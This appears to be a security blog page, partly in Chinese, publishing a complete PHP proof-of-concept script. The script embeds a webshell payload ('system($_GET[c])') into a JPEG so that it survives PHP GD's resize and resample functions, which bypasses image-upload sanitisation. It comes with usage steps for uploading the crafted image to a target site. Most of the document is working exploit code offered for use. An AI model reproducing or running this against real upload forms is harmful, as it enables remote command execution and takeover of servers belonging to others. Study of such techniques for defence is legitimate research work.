Bypass imagecopyresampled and imagecopyresized generate PHP Webshell

修改如下png为php扩展

XSSPNG
PHPPNG

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = '<?php system($_GET[c]);?>';

if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>